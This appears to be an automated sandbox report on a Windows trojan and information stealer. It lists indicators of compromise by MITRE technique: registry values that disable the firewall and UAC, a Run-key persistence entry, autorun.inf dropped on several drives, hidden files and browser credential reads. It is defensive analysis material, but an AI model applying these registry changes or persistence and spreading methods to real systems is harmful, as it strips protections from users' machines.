d6aeb417cf10f28c0f27f6320ee26bbebe4b7da01e1ce7067a2c5353412821d1

Analysis

max time kernel
140s
max time network
132s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
13/07/2024, 11:45 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4188928d42578d01826be310ed423f73_JaffaCakes118.exe
Size

399KB
MD5

4188928d42578d01826be310ed423f73
SHA1

80d1baa6e7384eef1403d6591fcb433a098ba3da
SHA256

d6aeb417cf10f28c0f27f6320ee26bbebe4b7da01e1ce7067a2c5353412821d1
SHA512

4440ee125d00a98fc38621da9e74adeb3ba84d5a3fd99bc58530d1f4574b9e12db34f10d1e1772d232d6c75f2001303b1723aeb2fadbf20892103ce898bebb24
SSDEEP

6144:ipPOC3QN319eNYsHD3AAGoHQH9sWV16w2DklypareA51Pqr+Hf:mODE5HD3LGoHQZykorA51Sg

Score

10^/10

evasion persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 4 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
24	536	cmd.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2440	netsh.exe
1600	netsh.exe
1524	netsh.exe
1476	netsh.exe

Sets file to hidden 1 TTPs 24 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1992	attrib.exe
1136	attrib.exe
2372	attrib.exe
2716	attrib.exe
3024	attrib.exe
1072	attrib.exe
1652	attrib.exe
2476	attrib.exe
2232	attrib.exe
1336	attrib.exe
792	attrib.exe
1732	attrib.exe
2012	attrib.exe
2032	attrib.exe
1392	attrib.exe
1692	attrib.exe
2232	attrib.exe
2396	attrib.exe
1724	attrib.exe
840	attrib.exe
1908	attrib.exe
2932	attrib.exe
1552	attrib.exe
1216	attrib.exe

Executes dropped EXE 2 IoCs

pid	Process
2096	XIo2qNiS.XIo2qNiS
2888	rawcircle.scr

Loads dropped DLL 6 IoCs

pid	Process
536	cmd.exe
2112	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
1680	wmplayer.exe
536	cmd.exe
2096	XIo2qNiS.XIo2qNiS
2888	rawcircle.scr

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	wmplayer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	XIo2qNiS.XIo2qNiS
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	rawcircle.scr

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\X:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\N:	wmplayer.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\E:	wmplayer.exe
File opened (read-only)	\??\G:	wmplayer.exe

Drops autorun.inf file 1 TTPs 22 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	C:\autorun.inf	wmplayer.exe
File opened for modification	C:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
File created	D:\autorun.inf	wmplayer.exe
File opened for modification	C:\autorun.inf	attrib.exe
File created	C:\autorun.inf	XIo2qNiS.XIo2qNiS
File created	F:\autorun.inf	XIo2qNiS.XIo2qNiS
File created	C:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
File created	F:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
File created	F:\autorun.inf	cmd.exe
File created	D:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
File opened for modification	F:\autorun.inf	attrib.exe
File opened for modification	F:\autorun.inf	attrib.exe
File created	D:\autorun.inf	XIo2qNiS.XIo2qNiS
File opened for modification	F:\autorun.inf	attrib.exe
File created	C:\autorun.inf	cmd.exe
File opened for modification	F:\autorun.inf	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
File opened for modification	C:\autorun.inf	wmplayer.exe
File opened for modification	F:\autorun.inf	wmplayer.exe
File opened for modification	C:\autorun.inf	attrib.exe
File created	D:\autorun.inf	cmd.exe
File opened for modification	C:\autorun.inf	attrib.exe
File created	F:\autorun.inf	wmplayer.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	attrib.exe
File created	C:\Windows\SysWOW64\pcclean.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	attrib.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
536	cmd.exe
536	cmd.exe
536	cmd.exe
536	cmd.exe
1680	wmplayer.exe
2112	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
1680	wmplayer.exe
1680	wmplayer.exe
2112	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
1680	wmplayer.exe
2112	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
2112	4188928d42578d01826be310ed423f73_JaffaCakes118.exe
536	cmd.exe
536	cmd.exe
536	cmd.exe
536	cmd.exe
536	cmd.exe
536	cmd.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2128	sc.exe
2656	sc.exe
1576	sc.exe
1732	sc.exe
2528	sc.exe
2080	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

Modifies Control Panel 4 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Control Panel\Desktop\ScreenSaveActive = "1"	XIo2qNiS.XIo2qNiS
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	XIo2qNiS.XIo2qNiS
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Control Panel\Desktop\ScreenSaveActive = "1"	rawcircle.scr
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	rawcircle.scr

Modifies Internet Explorer settings 1 TTPs 28 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\Check_Associations = "no"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_StatusBar = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\Check_Associations = "no"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_URLinStatusBar = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_FullURL = "yes"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_URLinStatusBar = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_FullURL = "yes"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_StatusBar = "yes"	reg.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer	wmplayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer\CLSID = "{cd3afa96-b84f-48f0-9393-7edc34128127}"	wmplayer.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS
2096	XIo2qNiS.XIo2qNiS

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2096	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	2888	rawcircle.scr
Token: SeDebugPrivilege	2888	rawcircle.scr
Token: SeDebugPrivilege	2888	rawcircle.scr

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 536	2112	4188928d42578d01826be310ed423f73_JaffaCakes118.exe	31
PID 2112 wrote to memory of 536	2112	4188928d42578d01826be310ed423f73_JaffaCakes118.exe	31
PID 2112 wrote to memory of 536	2112	4188928d42578d01826be310ed423f73_JaffaCakes118.exe	31
PID 2112 wrote to memory of 536	2112	4188928d42578d01826be310ed423f73_JaffaCakes118.exe	31
PID 536 wrote to memory of 2096	536	cmd.exe	33
PID 536 wrote to memory of 2096	536	cmd.exe	33
PID 536 wrote to memory of 2096	536	cmd.exe	33
PID 536 wrote to memory of 2096	536	cmd.exe	33
PID 2096 wrote to memory of 2264	2096	XIo2qNiS.XIo2qNiS	35
PID 2096 wrote to memory of 2264	2096	XIo2qNiS.XIo2qNiS	35
PID 2096 wrote to memory of 2264	2096	XIo2qNiS.XIo2qNiS	35
PID 2096 wrote to memory of 2264	2096	XIo2qNiS.XIo2qNiS	35
PID 2264 wrote to memory of 2732	2264	cmd.exe	37
PID 2264 wrote to memory of 2732	2264	cmd.exe	37
PID 2264 wrote to memory of 2732	2264	cmd.exe	37
PID 2264 wrote to memory of 2732	2264	cmd.exe	37
PID 2096 wrote to memory of 2448	2096	XIo2qNiS.XIo2qNiS	38
PID 2096 wrote to memory of 2448	2096	XIo2qNiS.XIo2qNiS	38
PID 2096 wrote to memory of 2448	2096	XIo2qNiS.XIo2qNiS	38
PID 2096 wrote to memory of 2448	2096	XIo2qNiS.XIo2qNiS	38
PID 2096 wrote to memory of 2736	2096	XIo2qNiS.XIo2qNiS	40
PID 2096 wrote to memory of 2736	2096	XIo2qNiS.XIo2qNiS	40
PID 2096 wrote to memory of 2736	2096	XIo2qNiS.XIo2qNiS	40
PID 2096 wrote to memory of 2736	2096	XIo2qNiS.XIo2qNiS	40
PID 2096 wrote to memory of 2744	2096	XIo2qNiS.XIo2qNiS	41
PID 2096 wrote to memory of 2744	2096	XIo2qNiS.XIo2qNiS	41
PID 2096 wrote to memory of 2744	2096	XIo2qNiS.XIo2qNiS	41
PID 2096 wrote to memory of 2744	2096	XIo2qNiS.XIo2qNiS	41
PID 2096 wrote to memory of 2492	2096	XIo2qNiS.XIo2qNiS	42
PID 2096 wrote to memory of 2492	2096	XIo2qNiS.XIo2qNiS	42
PID 2096 wrote to memory of 2492	2096	XIo2qNiS.XIo2qNiS	42
PID 2096 wrote to memory of 2492	2096	XIo2qNiS.XIo2qNiS	42
PID 2744 wrote to memory of 2644	2744	cmd.exe	46
PID 2744 wrote to memory of 2644	2744	cmd.exe	46
PID 2744 wrote to memory of 2644	2744	cmd.exe	46
PID 2744 wrote to memory of 2644	2744	cmd.exe	46
PID 2492 wrote to memory of 2692	2492	cmd.exe	47
PID 2492 wrote to memory of 2692	2492	cmd.exe	47
PID 2492 wrote to memory of 2692	2492	cmd.exe	47
PID 2492 wrote to memory of 2692	2492	cmd.exe	47
PID 2736 wrote to memory of 3024	2736	cmd.exe	48
PID 2736 wrote to memory of 3024	2736	cmd.exe	48
PID 2736 wrote to memory of 3024	2736	cmd.exe	48
PID 2736 wrote to memory of 3024	2736	cmd.exe	48
PID 2096 wrote to memory of 3032	2096	XIo2qNiS.XIo2qNiS	49
PID 2096 wrote to memory of 3032	2096	XIo2qNiS.XIo2qNiS	49
PID 2096 wrote to memory of 3032	2096	XIo2qNiS.XIo2qNiS	49
PID 2096 wrote to memory of 3032	2096	XIo2qNiS.XIo2qNiS	49
PID 2096 wrote to memory of 292	2096	XIo2qNiS.XIo2qNiS	51
PID 2096 wrote to memory of 292	2096	XIo2qNiS.XIo2qNiS	51
PID 2096 wrote to memory of 292	2096	XIo2qNiS.XIo2qNiS	51
PID 2096 wrote to memory of 292	2096	XIo2qNiS.XIo2qNiS	51
PID 2096 wrote to memory of 548	2096	XIo2qNiS.XIo2qNiS	52
PID 2096 wrote to memory of 548	2096	XIo2qNiS.XIo2qNiS	52
PID 2096 wrote to memory of 548	2096	XIo2qNiS.XIo2qNiS	52
PID 2096 wrote to memory of 548	2096	XIo2qNiS.XIo2qNiS	52
